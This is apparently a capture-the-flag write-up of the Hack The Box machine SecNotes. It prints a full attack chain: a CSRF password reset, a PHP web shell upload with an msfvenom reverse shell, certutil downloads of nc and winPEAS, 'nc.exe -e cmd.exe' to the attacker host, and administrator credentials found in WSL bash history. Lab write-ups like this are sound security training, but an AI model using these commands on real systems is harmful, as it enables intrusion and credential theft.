

## 0x1 Scan

```
[ghost@localhost ~]$ rustscan -u 100 -a 10.10.10.97 -- -sC -sV -Pn --script=default
```

```
-----  
[O] H {} K C L X C / _ } O \ I T  
[O] M {} L _ } P I _ } N _ H ^ M V I  
-----
```

The Modern Day Port Scanner.

```
-----  
: https://discord.gg/6FrQs6y :  
: https://github.com/RustScan/RustScan :  
-----  
👉 https://admin.tryhackme.com
```

```
[~] The config file is expected to be at "/home/ghost/.rustscan.toml"  
[~] Automatically increasing ulimit value to 100.  
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers  
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.  
Open 10.10.10.97:80  
Open 10.10.10.97:445  
Open 10.10.10.97:8808
```

```

PORT      STATE SERVICE          REASON  VERSION
445/tcp   open  microsoft-ds     syn-ack Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp  open  http             syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_   Message signing enabled but not required
| smb2-time:
|   date: 2023-01-07T08:23:54
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 25086/tcp): CLEAN (Timeout)
|   Check 2 (port 59689/tcp): CLEAN (Timeout)
|   Check 3 (port 53444/udp): CLEAN (Timeout)
|   Check 4 (port 23658/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h40m18s, deviation: 4h37m08s, median: 17s
| smb-os-discovery:
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2023-01-07T00:23:53-08:00

```

# 0x2 HTTP (80)

Found a login page.

- <http://10.10.10.97/login.php>

## Login

Please fill in your credentials to login.

**Username**

**Password**

Login

Don't have an account? [Sign up now.](#)

It's a PHP website.

I created an account with *ghost:password*.

Due to GDPR, all users must delete any notes that contain Personally Identifiable Information (PII)  
Please contact **tyler@secnotes.htb** using the contact link below with any questions.

## Viewing Secure Notes for **ghost**

User **ghost** has no notes. Create one by clicking below.

New Note

Change Password

Sign Out

Contact Us

Found a potential user *tyler*.

I try *SQL Injection* attempts but seems like it is not vulnerable.

## Change Password

It seems like there's no CSRF token.

```
Request
Pretty Raw Hex
1 POST /change_pass.php HTTP/1.1
2 Host: 10.10.10.97
3 Content-Length: 58
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://10.10.10.97
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://10.10.10.97/change_pass.php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
13 Cookie: PHPSESSID=hf1l723eigu79cjsjdtb70kaoc
14 Connection: close
15
16 password=password&confirm_password=password&submit=submit
```

I try changing to *GET* and it also changes the password.

```
Request
Pretty Raw Hex
1 GET /change_pass.php?password=updatepassword&confirm_password=updatepassword&submit=submit HTTP/1.1
2 Host: 10.10.10.97
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 Origin: http://10.10.10.97
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 Referer: http://10.10.10.97/change_pass.php
9 Accept-Encoding: gzip, deflate
10 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
11 Cookie: PHPSESSID=hf1l723eigu79cjsjdtb70kaoc
12 Connection: close
13

Response
Pretty Raw Hex Render
1 HTTP/1.1 302 Found
2 Cache-Control: no-store, no-cache, must-revalidate
3 Pragma: no-cache
4 Content-Type: text/html; charset=UTF-8
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Location: home.php
7 Server: Microsoft-IIS/10.0
8 X-Powered-By: PHP/7.2.7
9 Date: Sat, 07 Jan 2023 09:41:00 GMT
10 Connection: close
11 Content-Length: 1298
```

## Contact Us (reset user tyler)

# Contact Us

Please enter your message

To: tyler@secnotes.htb

Message:

http://10.10.14.6

Send

Cancel

It go to my server.

```
ghost@localhost [17:19:51] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-07/secnotes] [master *]  
→ % python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.10.97 - - [07/Jan/2023 17:21:07] "GET / HTTP/1.1" 200 -  
█
```

So using the *Password update* route above, I can reset tyler password.

# Contact Us

Please enter your message

To: tyler@secnotes.htb

Message:

http://10.10.10.97/change\_pass.php?password=password&confirm\_password=password&submit=submit

http://10.10.14.6/pwn3d



Send

Cancel

It is executed.

```
ghost@localhost [18:03:57] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-07/secnotes] [master *]  
→ % python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.10.97 - - [07/Jan/2023 18:04:52] code 404, message File not found  
10.10.10.97 - - [07/Jan/2023 18:04:52] "GET /pwn3d HTTP/1.1" 404 -  
█
```

Now I can login to his account.

## Viewing Secure Notes for tyler

Mimi's Sticky Buns [2018-06-21 09:47:17]

Ingredients

For Dough

1 heaping Tbs. (1 pkg) dry yeast  
1/4 c warm water  
scant 3/4 c buttermilk  
1 egg  
3 c flour  
1/4 shortening  
1/4 c sugar  
1 tsp baking powder  
1 tsp salt

For Filling

Butter  
Cinnamon  
1/4 c sugar

For Sauce

1/4 c butter  
1/2 c brown sugar  
2 Tbs maple syrup

Instructions

In 9" sq pan, melt butter, and stir in brown sugar and syrup.  
In a large mixing bowl dissolve yeast in warm water.  
Add buttermilk, egg, half of the flour, shortening, sugar, baking powder, and salt.  
Blend 1/2 min low speed, then 2 min med speed.  
Stir in remaining flour and kneed 5 minutes.  
Roll dough into rectangle about the size of a cookie sheet. Spread with butter, sprinkle with 1/4 c sugar and generously with cinnamon.  
Roll up, and cut into 9 slices.  
Place in 9" pan in sauce.  
Let rise until double in size, about 1-1.5 hours.  
Bake 25-30 min at 375.

Years [2018-06-21 09:47:54]

1957, 1982, 1993, 2005, 2009\*, and 2017

new site [2018-06-21 13:13:46]

\\secnotes.htb/new-site  
tyler / 92g!mA8BGj0irkL%0G\*&

- New Note
- Change Password
- Sign Out
- Contact Us

- `tyler:92g!mA8BGj0irkL%0G*&`

## 0x3 SMB (445)

Using `tyler:92g!mA8BGj0irkL%0G*&` credential I try SMB.

```
ghost@localhost [18:13:00] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-07/secnotes] [master *]
→ % smbmap -H 10.10.10.97 -u tyler -p '92g!mA8BGj0irkL%0G*&'
[+] IP: 10.10.10.97:445 Name: 10.10.10.97
    Disk                               Permissions      Comment
    ----                               -
    ADMIN$                             NO ACCESS       Remote Admin
    C$                                  NO ACCESS       Default share
    IPC$                                READ ONLY       Remote IPC
    new-site                            READ, WRITE
    CONTACT US
    NEW NOTE

ghost@localhost [18:13:54] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-07/secnotes] [master *]
→ %
```

I can connect via *smbclient*.

```
ghost@localhost [18:19:28] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-07/secnotes] [master *]
→ % smbclient \\\10.10.10.97\\new-site -U tyler
Password for [WORKGROUP\tyler]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0  Sat Jan  7 18:18:43 2023
..               D            0  Sat Jan  7 18:18:43 2023
iisstart.htm     A           696  Thu Jun 21 23:26:03 2018
iisstart.png     A        98757  Thu Jun 21 23:26:03 2018

7736063 blocks of size 4096. 3334482 blocks available
smb: \> 
```

Looks like it is pointed to IIS server (port 8808).

I will be uploading web shell together with *msfvenom* payload.

- 

```
ghost@localhost [18:22:43] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-07/secnotes] [master *]
→ % msfvenom -p windows/shell_reverse_tcp -f exe LHOST=tun0 LPORT=80 > ghost.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
```

```
smb: \> put shell.php
putting file shell.php as \shell.php (0.2 kb/s) (average 16.1 kb/s)
smb: \> put ghost.exe
putting file ghost.exe as \ghost.exe (38.0 kb/s) (average 19.8 kb/s)
smb: \> 
```

```
smb: \> ls
.                D            0  Sat Jan  7 18:30:12 2023
..               D            0  Sat Jan  7 18:30:12 2023
ghost.exe        A        73802  Sat Jan  7 18:29:31 2023
iisstart.htm     A           696  Thu Jun 21 23:26:03 2018
iisstart.png     A        98757  Thu Jun 21 23:26:03 2018
shell.php        A           300  Sat Jan  7 18:29:26 2023

```

Now I can access the web shell at the URL below.

- <http://10.10.10.97:8808/shell.php>

Then I execute as below.

- <http://10.10.10.97:8808/shell.php?cmd=ghost.exe>

Receives a reverse shell.

```
ghost@localhost [18:30:26] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-07/secnotes] [master *]
→ % nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.97] 51134
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\new-site>whoami
whoami
secnotes\tyler

C:\inetpub\new-site>
```

## 0x4 Foothold

user.txt flag

```
C:\Users\tyler\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E7B-9B76

Directory of C:\Users\tyler\Desktop

08/19/2018  02:51 PM    <DIR>          .
08/19/2018  02:51 PM    <DIR>          ..
06/22/2018  02:09 AM               1,293 bash.lnk
08/02/2021  02:32 AM               1,210 Command Prompt.lnk
04/11/2018  03:34 PM                407 File Explorer.lnk
06/21/2018  04:50 PM               1,417 Microsoft Edge.lnk
06/21/2018  08:17 AM               1,110 Notepad++.lnk
01/07/2023  02:00 AM                 34 user.txt
08/19/2018  09:59 AM               2,494 Windows PowerShell.lnk
              7 File(s)              7,965 bytes
              2 Dir(s) 13,665,300,480 bytes free

C:\Users\tyler\Desktop>type user.txt
type user.txt
d702063115e52733ded5eff995cce29c

C:\Users\tyler\Desktop>ipconfig /all
ipconfig /all

Windows IP Configuration

Host Name . . . . . : SECNOTES
Primary Dns Suffix . . . . . :
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : htb
```

## Ethernet adapter Ethernet0 2:

```
Connection-specific DNS Suffix . : htb
Description . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . : 00-50-56-B9-1A-88
DHCP Enabled. . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv6 Address. . . . . : dead:beef::d8(Preferred)
Lease Obtained. . . . . : Saturday, January 7, 2023 1:59:40 AM
Lease Expires . . . . . : Saturday, January 7, 2023 3:29:40 AM
IPv6 Address. . . . . : dead:beef::44e4:dc86:8f1e:f1e6(Preferred)
Temporary IPv6 Address. . . . . : dead:beef::d04a:b7f2:a11f:14e1(Preferred)
Link-local IPv6 Address . . . . . : fe80::44e4:dc86:8f1e:f1e6%11(Preferred)
IPv4 Address. . . . . : 10.10.10.97(Preferred)
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : fe80::250:56ff:feb9:35eb%11
                             10.10.10.2
DHCPv6 IAID . . . . . : 369119318
DHCPv6 Client DUID. . . . . : 00-01-00-01-2B-4A-FA-E2-00-50-56-B9-1A-88
DNS Servers . . . . . : 1.1.1.1
                             1.0.0.1
NetBIOS over Tcpip. . . . . : Enabled
Connection-specific DNS Suffix Search List :
                             htb
```

## basic enumeration

```
C:\inetpub\new-site>whoami
```

```
whoami
```

```
secnotes\tyler
```

```
C:\inetpub\new-site>whoami /priv
```

```
whoami /priv
```

### PRIVILEGES INFORMATION

```
-----
```

Privilege Name	Description	State
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeUndockPrivilege	Remove computer from docking station	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled
SeTimeZonePrivilege	Change the time zone	Enabled

```
C:\inetpub\new-site>systeminfo
```

```
systeminfo
```

```
ERROR: Access denied
```

```
C:\inetpub\new-site>^[[24~
```



I cannot run *systeminfo*.

## winpeas

```
C:\Users\tyler\Desktop>curl
curl
'curl' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\tyler\Desktop>certutil.exe -urlcache -f http://10.10.14.6/winpeas.exe winpeas.exe
certutil.exe -urlcache -f http://10.10.14.6/winpeas.exe winpeas.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

C:\Users\tyler\Desktop>.\winpeas.exe > tyler.peas.out
.\winpeas.exe > tyler.peas.out
█
```

Then I copy the output to my machine to inspect.

It does not allow *anonymous* smb shares.

```
C:\Users\tyler\Desktop>copy tyler.peas.out \\10.10.14.6\kali\
copy tyler.peas.out \\10.10.14.6\kali\
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
0 file(s) copied.
```

So I create server again with credential.

```
ghost@localhost [18:40:23] [~/Documents/hacking/provinggrounds/MOCK-EXAMS/2022-01-07/secnotes] [master *]
→ % smbserver.py -smb2support kali _ -username kali -password kali

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Then copy from Windows.

```
C:\Users\tyler\Desktop>net use Z: \\10.10.14.6\kali /u:kali kali
net use Z: \\10.10.14.6\kali /u:kali kali
The command completed successfully.

C:\Users\tyler\Desktop>copy tyler.peas.out Z:/
copy tyler.peas.out Z:/
The syntax of the command is incorrect.

C:\Users\tyler\Desktop>copy tyler.peas.out Z:\
copy tyler.peas.out Z:\
1 file(s) copied.

C:\Users\tyler\Desktop>net use z: /delete
net use z: /delete
z: was deleted successfully.
```

## bash.lnk

```
C:\Users\tyler\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E78-9876

Directory of C:\Users\tyler\Desktop

01/07/2023 02:35 AM <DIR>      .
01/07/2023 02:35 AM <DIR>      ..
06/22/2018 02:09 AM          1,293 bash.lnk
09/02/2021 02:32 AM          1,218 Command Prompt.lnk
06/11/2018 03:34 PM           407 File Explorer.lnk
06/21/2018 04:50 PM          1,417 Microsoft Edge.lnk
06/21/2018 08:17 AM          1,110 Notepad++.lnk
01/07/2023 02:48 AM          985,947 tyler.peas.out
01/07/2023 02:08 AM           34 user.txt
08/19/2018 09:59 AM          2,494 Windows PowerShell.lnk
01/07/2023 02:35 AM          1,969,664 winpeas.exe
9 File(s) 2,963,576 bytes
2 Dir(s) 13,652,291,584 bytes free

C:\Users\tyler\Desktop>type bash.lnk
type bash.lnk
L W V ( 9P0 :+00/C:\V1I\Windows@  LLI.h&WindowsZ1L<System32B  L.L<.pkSystem3222LP bash.exeB  L<LU.Ybash.exeK-J,C:\Windows\System32\bash.exe" ..\..\Windows\System32\bash.exeC:\Windows\Syste
m32%
wN]ND.Q'Xsecnotesx<sA o' /x<sA o' /# Y1SPS0CGsf"=dSystem32 (C:\Windows)1SPSXFL8C6mq/S-1-5-21-1791094074-1363918840-4199337083-10021SPS0%G %
bash.exe@
)
Application@v( i1SPSjc(=0MC:\Windows\System32\bash.exe91SPSmdpHH@+=xhH(bP
C:\Users\tyler\Desktop>
```

```
C:\Distros>where /R c:\ bash.exe
where /R c:\ bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
```

*bash.exe* seems interesting.

There's a folder called *Distro*.

```
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E7B-9B76

Directory of C:\

06/21/2018  02:07 PM    <DIR>          Distros
06/21/2018  05:47 PM    <DIR>          inetpub
06/22/2018  01:09 PM    <DIR>          Microsoft
04/11/2018  03:38 PM    <DIR>          PerfLogs
06/21/2018  07:15 AM    <DIR>          php7
01/26/2021  02:39 AM    <DIR>          Program Files
01/26/2021  02:38 AM    <DIR>          Program Files (x86)
06/21/2018  02:07 PM      201,749,452  Ubuntu.zip
06/21/2018  02:00 PM    <DIR>          Users
01/26/2021  02:38 AM    <DIR>          Windows
                1 File(s)      201,749,452 bytes
                9 Dir(s)  13,652,291,584 bytes free

C:\>cd Distros
cd Distros

C:\Distros>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E7B-9B76

Directory of C:\Distros

06/21/2018  02:07 PM    <DIR>          .
06/21/2018  02:07 PM    <DIR>          ..
06/21/2018  04:59 PM    <DIR>          Ubuntu
                0 File(s)          0 bytes
                3 Dir(s)  13,652,291,584 bytes free
```

But I cannot run it. It needs an interactive shell.

```
C:\Distros>c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe

C:\Distros>c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
```

## Interactive shell (bash.exe)

I am gonna use *netcat* to get an interactive shell.

```
C:\Users\tyler\Desktop>certutil -urlcache -f http://10.10.14.6/nc.exe nc.exe
certutil -urlcache -f http://10.10.14.6/nc.exe nc.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

C:\Users\tyler\Desktop>nc.exe -e cmd.exe 10.10.14.6 80
nc.exe -e cmd.exe 10.10.14.6 80
█
```

I get back reverse shell.

```
ghost@localhost [18:55:14] [~/Documents/arsenal/nc]
→ % nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.97] 52015
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\tyler\Desktop>
```

Now I can execute *bash.exe*

```
C:\Users\tyler\Desktop>c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
msg: ttyname failed: Inappropriate ioctl for device
id
uid=0(root) gid=0(root) groups=0(root)

which python
/usr/bin/python

python -c 'import pty; pty.spawn("/bin/bash")'
root@SECNOTES:~# █
```

There's folder called *filesystem*, but there's nothing.

```
root@SECNOTES:~# cd /root
cd /root
root@SECNOTES:~# ls
ls
filesystem
root@SECNOTES:~# cd filesystem
cd filesystem
root@SECNOTES:~/filesystem# ls
ls
root@SECNOTES:~/filesystem# █
```

I check `.bash_history` and got administrator password.

```
root@SECNOTES:~/filesystem# cat ~/.bash_history
cat ~/.bash_history
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^0Bf#Nwnh' '\\127.0.0.1\c$
> .bash_history
less .bash_history
exitroot@SECNOTES:~/filesystem#
```

## Connect as administrator

```
ghost@localhost [19:04:04] [~/Documents/arsenal/nc]
→ % winexe -U '.\administrator%u6!4ZwgwOM#^0Bf#Nwnh' //10.10.10.97 cmd.exe
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
secnotes\administrator

C:\WINDOWS\system32>
```

## root.txt flag

```
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E7B-9B76

Directory of C:\Users\Administrator\Desktop

01/26/2021  02:39 AM    <DIR>          .
```

```
01/26/2021 02:39 AM <DIR> ..
06/22/2018 03:45 PM 1,417 Microsoft Edge.lnk
01/07/2023 03:04 AM 34 root.txt
                2 File(s) 1,451 bytes
                2 Dir(s) 13,578,760,192 bytes free
```

```
C:\Users\Administrator\Desktop>type root.txt
```

```
type root.txt
```

```
dbdafe0313c01601bb4425c91d88b10f
```

```
C:\Users\Administrator\Desktop>ipconfig /all
```

```
ipconfig /all
```

#### Windows IP Configuration

```
Host Name . . . . . : SECNOTES
Primary Dns Suffix . . . . . :
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : htb
```

#### Ethernet adapter Ethernet0 2:

```
Connection-specific DNS Suffix . : htb
Description . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . : 00-50-56-B9-0F-87
DHCP Enabled. . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv6 Address. . . . . : dead:beef::cb(Preferred)
Lease Obtained. . . . . : Saturday, January 7, 2023 3:03:39 AM
Lease Expires . . . . . : Saturday, January 7, 2023 4:03:39 AM
IPv6 Address. . . . . : dead:beef::5d7a:70af:81f7:3560(Preferred)
Temporary IPv6 Address. . . . . : dead:beef::71c5:d425:1317:45d7(Preferred)
Link-local IPv6 Address . . . . . : fe80::5d7a:70af:81f7:3560%11(Preferred)
IPv4 Address. . . . . : 10.10.10.97(Preferred)
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : fe80::250:56ff:feb9:35eb%11
                             10.10.10.2
DHCPv6 IAID . . . . . : 369119318
DHCPv6 Client DUID. . . . . : 00-01-00-01-2B-4B-09-E1-00-50-56-B9-0F-87
DNS Servers . . . . . : 1.1.1.1
                             1.0.0.1
NetBIOS over Tcpip. . . . . : Enabled
Connection-specific DNS Suffix Search List :
                             htb
```